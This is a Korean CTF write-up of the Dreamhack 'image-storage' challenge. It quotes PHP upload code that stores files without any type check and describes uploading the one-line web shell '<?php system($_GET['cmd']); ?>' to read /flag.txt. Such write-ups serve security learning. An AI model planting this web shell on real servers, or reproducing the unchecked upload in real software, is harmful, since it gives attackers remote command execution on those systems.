본문 바로가기

Dreamhack/웹해킹

[LEVEL 1] image-storage

웹 서비스에 접속하면 상단에 메뉴바(Home, List, Upload 등) 가 보이며, 메인 영역에는 "Upload and Share Image !" 라는 문구가 표시된 초기 화면이 나타납니다.

Upload 메뉴로 이동하면 파일을 업로드할 수 있는 페이지가 나타납니다. 여기서 파일 선택 버튼을 통해 원하는 파일을 선택한 뒤, Upload 버튼을 눌러 파일을 업로드할 수 있습니다.

 

파일을 하나 업로드하면 자동으로 List 메뉴에 저장되며, 업로드된 파일을 목록에서 확인할 수 있습니다.

자세한 동작원리를 알기위해서 코드를 확인 해 보았다.

 

upload.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

📌 코드 동작 요약

  1. 파일 업로드 요청 처리 (POST)
    • 업로드 요청이 들어오면 $_FILES 배열에서 전송된 파일 정보를 가져옴.
    • 주요 변수:
      • $name: 파일 이름
      • $tmp_name: 임시 저장 경로
      • $error: 업로드 에러 코드
  2. 에러 및 중복 확인
    • 업로드 에러 발생 시 에러 메시지 출력.
    • 동일한 이름의 파일이 이미 존재하면 "already exists" 메시지 출력.
  3. 파일 이동
    • 문제가 없으면 move_uploaded_file() 함수로 ./uploads/ 디렉토리에 저장.
    • 저장 성공 시 "Stored in: ./uploads/파일명" 출력.
  4. 프론트엔드
    • Bootstrap 기반의 간단한 UI.
    • 상단 메뉴바(Home, List, Upload).
    • 본문에는 파일 선택과 Upload 버튼이 있는 업로드 폼 제공.

 

해당 서비스는 파일 업로드 기능을 제공하기 때문에, 보안상 취약하다면 웹셸(WebShell) 업로드와 같은 공격이 가능할 수 있다고 판단했습니다. 이를 확인하기 위해 테스트 목적으로 웹셸 코드를 업로드해 보았습니다.

웹셸 코드

<?php system($_GET['cmd']); ?>

결과적으로 문제에서 제시된 /flag.txt 위치를 확인한 뒤 cat 명령어를 실행하여 플래그를 출력할 수 있었습니다.

'Dreamhack > 웹해킹' 카테고리의 다른 글

[LEVEL 1] php-1  (0) 2025.09.06
[LEVEL 1] simple-ssti  (0) 2025.09.04
[LEVEL 1] xss-1  (0) 2025.09.03
[LEVEL 1] csrf-1  (0) 2025.09.03
[LEVEL 1] simple_sqli  (0) 2025.09.02